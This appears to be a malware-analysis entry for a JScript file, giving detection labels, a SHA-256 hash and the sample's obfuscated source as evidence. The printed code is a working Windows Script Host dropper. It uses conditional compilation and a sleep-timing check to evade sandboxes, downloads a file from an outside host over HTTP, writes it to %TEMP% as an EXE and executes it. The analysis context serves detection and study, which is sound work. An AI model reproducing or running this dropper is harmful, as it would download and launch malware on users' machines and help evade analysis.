20160328_1c8665c8a2423e1e39655b3adcd206bb.js
Downloads and executes remote EXE dropper
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2565628db8907c68609e6d0d784fae4ea60c07f413bddcafc2ca13b5a4d7d356677
Evidence
1var Kmudvuzel = false;
2var Vseuhx = "CreateObject";
3var Mpjcq = function Pbdsci() {return WScript[Vseuhx]("WScript.Shell");}();
4var Wfwdnnvvi = 123213;
5var Yttxu = "MSXML2.XMLHTTP";
6var Vamkbvj = 2123213;
7var Opyrhwnu = 0;
8function Pvgzsvwqcm(Zplyzm){Mpjcq["Run"](Zplyzm, Opyrhwnu, Opyrhwnu);};
9function Iwfxsa(){return Yttxu;};
10function Mqfxaaqpoi(Vynerd, Nlvjmdf){return Vynerd - Nlvjmdf;};
11function Ekuzsi(){return Vseuhx;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Kmudvuzel = true;
15 @end
16@*/
17var Qdivtxzlrn = "";
18if (Kmudvuzel)
19{
20function Gxvdxvtgd(){return 22;};
21var Prssbrxf = 0; var Zpougwls = 0;
22function Bantp()
23{
24var Ltzsnd = new this["Date"]();
25var Ixvvhw = Ltzsnd["getUTCMilliseconds"]();
26WScript["Sleep"](Gxvdxvtgd());
27var Ltzsnd = new this["Date"]();
28var Muxhunsm = Ltzsnd["getUTCMilliseconds"]();
29WScript["Sleep"](Gxvdxvtgd());
30var Ltzsnd = new this["Date"]();
31var Hfjpui = Ltzsnd["getUTCMilliseconds"]();
32var Prssbrxf = "Tqkokn";
33Prssbrxf = Mqfxaaqpoi(Muxhunsm, Ixvvhw);
34var Zpougwls = "Pjkewi";
35Zpougwls = Mqfxaaqpoi(Hfjpui, Muxhunsm);
36Qdivtxzlrn = "open";
37return Mqfxaaqpoi(Prssbrxf, Zpougwls);
38}
39var Zmmjxrhwbs = false;
40var Vlbdfqdvz = false;
41for (var Bblbrf = Opyrhwnu; Bblbrf < Gxvdxvtgd() * 1; Bblbrf++){if (Bantp() != Opyrhwnu){
42Zmmjxrhwbs …
49:9… xrhwbs && Mrkngq() && Vlbdfqdvz){
50function Afijcwvhw() {return Mpjcq["ExpandEnvironmentStrings"]("%TEMP%/") + "8dzemrGDRSyVGo.exe";};
51 Uknlkpv = Iwfxsa();
52 Vgdar = WScript[Vseuhx](Uknlkpv);
53 var Pyhnyi = 1;
54 while (Pyhnyi){
55try {
56Vgdar[Qdivtxzlrn]("GET", "http://theaffiliatetribe.com/o3uska", false);
57Vgdar["send"]();
58Rnwws = "Sleep";
59do {WScript[Rnwws](Gxvdxvtgd() * 11)} while (Vgdar["readystate"] < 4 );
60Pyhnyi = Opyrhwnu;
61} catch(Cjipw){Pyhnyi = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Fwpediigq(Bvvgjinkg) {var Dcqxpknt = (1, 2, 3, 4, 5, Bvvgjinkg); return Dcqxpknt;};
64Bhnvohd = WScript[Ekuzsi()]("ADODB.Stream");
65Uknlkpv = Bhnvohd;
66Uknlkpv[Qdivtxzlrn]();
67Uknlkpv["type"] = Fwpediigq(1);
68Uknlkpv["write"](Vgdar["ResponseBody"]);
69Bhnvohd["position"] = Fwpediigq(Opyrhwnu);
70Uknlkpv["SaveToFile"](Afijcwvhw(), Fwpediigq(2) );
71Bhnvohd["close"]();
72Pvgzsvwqcm(Afijcwvhw());
73}
74}
75